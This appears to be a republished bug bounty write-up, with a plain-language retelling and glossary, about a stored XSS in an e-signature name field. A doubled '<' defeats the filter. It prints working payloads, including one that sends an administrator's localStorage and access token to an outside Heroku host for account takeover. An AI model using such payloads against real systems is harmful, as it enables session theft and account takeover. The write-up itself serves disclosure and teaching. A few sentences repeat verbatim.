Account Takeover via XSS in e-signature feature worth 2500$
A name field in an e-signature feature was vulnerable to cross-site scripting because the filter could be bypassed by adding an extra angle bracket. An attacker could execute JavaScript in the admin page, steal an access token from local storage, and take over the account, gaining access to all files and signed documents.
Published on medium.com
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
While testing an HR application, I started poking at the third-party applications integrated with it. One of those integrated applications had an electronic signature feature: you prepare a PDF document and send it to someone else to sign. I did not even know the vendor ran a bug bounty programme at the time; I was testing it for fun.
The feature lets you prepare a PDF document and send it to someone else to sign. The name field value I supplied was later displayed in a page an administrator viewed.
Setup
There were no special accounts, tools or versions involved. I was an unauthenticated user interacting with the e-signature feature of the integrated application, entering data into the name field of a document. The only precondition that mattered was that the value I supplied would later be displayed to another user, in this case an administrator.
Finding it
I tried an XSS payload in the name field, the kind I normally use:
"><img onerror=alert(document.domain) src>
Everything looked fine. The output came back encoded:
"><img onerror=alert(document.domain) src>
So the angle brackets were being converted to entities and the payload was not executing. That is when I noticed this was not the payload I always use. I tried a slightly different one:
"><<img onerror=alert(document.cookie) src>
The only difference is one extra <. With that, I got an alert in the admin page, triggered from an unauthenticated user's input. The output this time was:
"><img onerror=alert(document.cookie) src>
Compare the two outputs: in the first, both < characters of the tag were encoded; in the second, the first < was encoded and the second one survived as a literal <, which the browser then parsed as the start of an img tag. In the second output the first < was encoded and the second survived as a literal <, which the browser parsed as the start of an img tag.
I found this bug eight months before writing it up and did not have much time in those days, so the write-up is not as detailed as I would like.
Exploitation
Step 1: confirm execution in the admin context
Submitting the doubled-bracket payload in the name field produced an alert in the admin page. The alert fired for input supplied by an unauthenticated user, which means the stored value was rendered without proper encoding in a page an administrator views.
Step 2: inspect what is reachable from the admin context
The impact question was what an attacker could actually take. The local storage in that context was juicy: it held an access_token, which was more than enough. Everything was in local storage.
Step 3: exfiltrate local storage
To steal local storage I used this payload:
"><<img src=x onerror=this.src='https://gkhck.herokuapp.com/p?cookie='+JSON.stringify(localStorage)/>
The payload keeps the doubled < that defeats the filter, gives the img a broken src so the onerror handler fires, and sets this.src to my own endpoint with the whole of localStorage serialised by JSON.stringify appended as the cookie query parameter. When the XSS triggered, everything was in my Heroku logs.
For collecting out-of-band callbacks in general, interactsh is a useful alternative to a personal server:
https://github.com/projectdiscovery/interactsh
Step 4: use the stolen token
With the access_token from local storage, this is account takeover. The application is integrated with many cloud storage applications, and if the account is connected with the application we have access to all files in it. We can also access all signed documents and company files.
Root cause
The input filter did not encode every occurrence of the dangerous character. The output encoding was incomplete: in the doubled payload one literal < survived into the rendered output. The application then placed that value into HTML that an administrator viewed, and the browser parsed the surviving < as markup, turning the attacker-controlled img with an onerror handler into live script in the admin's session. The standard payload came back fully encoded and did not execute; the doubled one left a literal < and did.
Impact
An unauthenticated user could store script that executed in an administrator's browser. From that context the attacker could read access_token out of local storage and take over the account. Because the application is integrated with many cloud storage applications, an account connected to the application gives access to all files in it, as well as all signed documents and company files.
Fix
The report does not say what the vendor changed.
Variants to test
- Doubled or repeated metacharacters wherever a filter looks like it replaces only one occurrence: try
<<,>>,"",''and combinations, and check whether one character survives into the rendered output. - The same name field wherever the value is displayed, checking whether the payload executes in a context other than your own. A positive result is the payload executing in a context other than your own.
- Local storage contents in each role: if an
access_tokenor similar credential is present, an XSS in that context is account takeover rather than a simple alert. - Out-of-band confirmation with interactsh or your own endpoint when the payload fires in a context you cannot see, such as an admin panel; a positive result is a callback containing the serialised storage or cookie data.
What happened, in plain words
A security researcher was testing an HR application, the kind of software a company uses to manage its staff, and started looking at the other applications that were connected to it. One of those connected applications had an electronic signature feature. You prepare a PDF document, send it to someone else, and that person opens it and signs it. The researcher did not even know the company behind it ran a bug bounty programme, a scheme where companies pay people for reporting security problems. He was testing for fun.
The feature lets you prepare a PDF document and send it to someone else to sign. The name field value the researcher supplied was later shown in a page an administrator viewed.
What he found was a cross-site scripting bug, usually shortened to XSS. In plain terms, XSS means you manage to get your own instructions, written in the language a web page understands, into a page that someone else will open. A useful comparison: imagine a noticeboard where visitors can leave notes, and the person who pins the notes does not check them. If you write "please hand your keys to the person at the door" on your note, the next visitor may read it as an official instruction.
Because the note was shown to an administrator, the researcher's instructions ran inside the administrator's browser session, and from there he could take over the account. The bounty was 2500 USD.

Setup
There were no special accounts, tools or versions involved. The researcher was an unauthenticated user, meaning he was not logged in, interacting with the e-signature feature of the connected application and typing data into the name field of a document. The only precondition that mattered was that the value he supplied would later be displayed to another user, in this case an administrator.
That precondition is the heart of stored XSS. The word "stored" means your input is saved by the application and shown again later, to whoever opens the page.
Finding it
He tried an XSS payload in the name field, the kind he normally uses. A payload here is simply the text you type in, crafted so that, if it is placed into a page unmodified, the browser treats part of it as code rather than as ordinary text.
"><img onerror=alert(document.domain) src>
Line by line, this is one piece of text made of several parts:
">closes whatever attribute the site was building around the name, then closes the surrounding tag. Think of it as stepping out of the quotation marks the site put around your text.<img ...>starts an image element. The browser now believes a new piece of the page begins here.onerror=alert(document.domain)is an event handler: an instruction the browser runs when something goes wrong with the image.alert(...)opens a small pop-up box.document.domainis the address of the site the page belongs to, so the pop-up would show which site the code is running on.src>is the image source left empty, which is what makes the image fail to load and therefore triggers the error handler.
Everything looked fine. The output came back encoded:
"><img onerror=alert(document.domain) src>
Encoding, in this context, means swapping characters that have a special meaning in a web page for safe stand-ins. " is the safe stand-in for a double quote, > for >, and < for <. These stand-ins are called HTML entities. The browser displays them as the original character but does not treat them as page structure, so the payload becomes harmless text.
So the angle brackets were being converted to entities and the payload was not executing. That is when he noticed this was not the payload he always uses. He tried a slightly different one:
"><<img onerror=alert(document.cookie) src>
Line by line:
">does the same job as before: it steps out of the attribute and the tag.<<is two less-than signs in a row. This is the only real change from the first payload.<img onerror=alert(document.cookie) src>is the same image trick, but this time the pop-up showsdocument.cookieinstead of the domain. A cookie is a small piece of data a website asks your browser to keep and send back with later requests, often used to remember who you are.
The only difference is one extra <. With that, he got an alert in the admin page, triggered from an unauthenticated user's input. The output this time was:
"><img onerror=alert(document.cookie) src>
Compare the two outputs. In the first, both < characters of the tag were encoded. In the second, the first < was encoded and the second one survived as a literal <, which the browser then parsed as the start of an img tag. In the second output the first < was encoded and the second survived as a literal <, which the browser parsed as the start of an img tag.
A filter, here, is the piece of code on the server that inspects your input and tries to remove or neutralise dangerous characters. The comparison that helps: a guard who checks each visitor's bag and removes the first knife he finds, then waves the visitor through. Bring two, and one goes in.
He found this bug eight months before writing it up and did not have much time in those days, so the write-up is not as detailed as he would like.
Exploitation
Step 1: confirm execution in the admin context
Submitting the doubled-bracket payload in the name field produced an alert in the admin page. The alert fired for input supplied by an unauthenticated user, which means the stored value was rendered without proper encoding in a page an administrator views. "Rendered" means turned into what you see on screen; "context" means whose browser and whose logged-in session the code is running in. Here the context was the administrator's.
Step 2: inspect what is reachable from the admin context
The impact question was what an attacker could actually take. The local storage in that context was juicy: it held an access_token, which was more than enough. Everything was in local storage.
Local storage is a small storage area that a website can use inside your browser to keep data between visits. It belongs to the site, not to a particular page, and any script running on that site can read it. An access token is a string of characters that acts like a temporary key: whoever holds it can talk to the application's servers as the logged-in user, without needing the password. The everyday comparison is a cloakroom ticket: show the ticket, get the coat. If someone copies your ticket, they get your coat.
Step 3: exfiltrate local storage
To steal local storage he used this payload:
"><<img src=x onerror=this.src='https://gkhck.herokuapp.com/p?cookie='+JSON.stringify(localStorage)/>
Line by line:
">steps out of the attribute and tag, as before.<<is the doubled less-than sign that defeats the filter, leaving one literal<behind.<img src=x ...>gives the image a source ofx, which is not a real image, so loading it fails.onerror=...is the instruction that runs when that failure happens.this.src='https://gkhck.herokuapp.com/p?cookie='sets the image's address to the researcher's own server, with a query parameter namedcookie. A query parameter is the part of a web address after the?, used to pass small pieces of data along with the request.+JSON.stringify(localStorage)appends the entire contents of local storage to that address.JSON.stringifyturns the stored data into a text string so it can travel inside a web address./>closes the image tag.
The effect is that the admin's browser, believing it is just loading an image, sends a request to the researcher's server with the stolen data attached. This is called exfiltration: getting data out of a place you should not be able to read it from. When the XSS triggered, everything was in his Heroku logs. Heroku is a hosting service, and its logs record the requests that reach a server.
For collecting out-of-band callbacks in general, interactsh is a useful alternative to a personal server:
https://github.com/projectdiscovery/interactsh
An out-of-band callback is a signal that comes back to you through a different channel than the page you are testing, for example a request arriving at a server you control. It matters when the payload fires somewhere you cannot see, such as an admin panel.
Step 4: use the stolen token
With the access_token from local storage, this is account takeover. Account takeover means logging in as someone else, or acting as them, without their password. The application is integrated with many cloud storage applications, and if the account is connected with the application we have access to all files in it. We can also access all signed documents and company files.
Root cause
The input filter did not encode every occurrence of the dangerous character. The output encoding was incomplete: in the doubled payload one literal < survived into the rendered output. "Non-global" means the replacement stops after the first match instead of continuing through the whole string. The application then placed that value into HTML that an administrator viewed, and the browser parsed the surviving < as markup, turning the attacker-controlled img with an onerror handler into live script in the admin's session. The standard payload came back fully encoded and did not execute; the doubled one left a literal < and did.
Impact
An unauthenticated user could store script that executed in an administrator's browser. From that context the attacker could read access_token out of local storage and take over the account. Because the application is integrated with many cloud storage applications, an account connected to the application gives access to all files in it, as well as all signed documents and company files.
Fix
The report does not say what the vendor changed.
Variants to test
- Doubled or repeated metacharacters wherever a filter looks like it replaces only one occurrence: try
<<,>>,"",''and combinations, and check whether one character survives into the rendered output. - The same name field wherever the value is displayed, checking whether the payload executes in a context other than your own. A positive result is the payload executing in a context other than your own.
- Local storage contents in each role: if an
access_tokenor similar credential is present, an XSS in that context is account takeover rather than a simple alert. - Out-of-band confirmation with interactsh or your own endpoint when the payload fires in a context you cannot see, such as an admin panel; a positive result is a callback containing the serialised storage or cookie data.
Glossary
- XSS (cross-site scripting): getting your own instructions into a web page that someone else will open, so their browser runs them as if the site had written them.
- Stored XSS: XSS where your input is saved by the application and shown later to other users.
- Payload: the text you type in, crafted so that it becomes code if the page shows it unmodified.
- Bug bounty programme: a scheme where a company pays people for reporting security problems to it.
- HR application: software a company uses to manage its staff.
- Electronic signature feature: a feature where you prepare a PDF, send it to someone, and they open and sign it.
- Unauthenticated user: someone who is not logged in.
- Administrator: a user with extra rights, who reviews or manages content in the application.
- Encoding (output encoding): swapping characters that have a special meaning in a web page for safe stand-ins, so they display but do not act as page structure.
- HTML entity: the safe stand-in for a special character, such as
<for<. - Filter: server-side code that inspects input and tries to remove or neutralise dangerous characters.
- Non-global replacement: a find-and-replace that stops after the first match instead of covering the whole string.
- Attribute: a setting written inside an HTML tag, usually in quotes, such as the source of an image.
- Tag: a piece of HTML markup, such as
<img>, that tells the browser what to build. - Event handler: an instruction attached to an element that runs when something happens, such as an image failing to load (
onerror). alert(): a browser function that opens a small pop-up box.document.domain: the address of the site the current page belongs to.document.cookie: the cookies the current page can read for its site.- Cookie: a small piece of data a website asks your browser to keep and send back with later requests, often used to remember who you are.
- Local storage: a small storage area a website can use inside your browser to keep data between visits; any script on that site can read it.
- Access token: a string that acts like a temporary key, letting whoever holds it act as the logged-in user without the password.
- Query parameter: the part of a web address after the
?, used to pass small pieces of data along with the request. JSON.stringify: a function that turns stored data into a text string so it can travel inside a web address.- Exfiltration: getting data out of a place you should not be able to read it from.
- Out-of-band callback: a signal that comes back to you through a different channel than the page you are testing, such as a request arriving at a server you control.
- Interactsh: a tool for collecting out-of-band callbacks.
- Heroku: a hosting service; its logs record the requests that reach a server.
- Account takeover: logging in as someone else, or acting as them, without their password.
- Context: whose browser and whose logged-in session code is running in.
- Rendered: turned into what you see on screen.
- Metadata: descriptive details attached to a document, such as its subject, message or file name.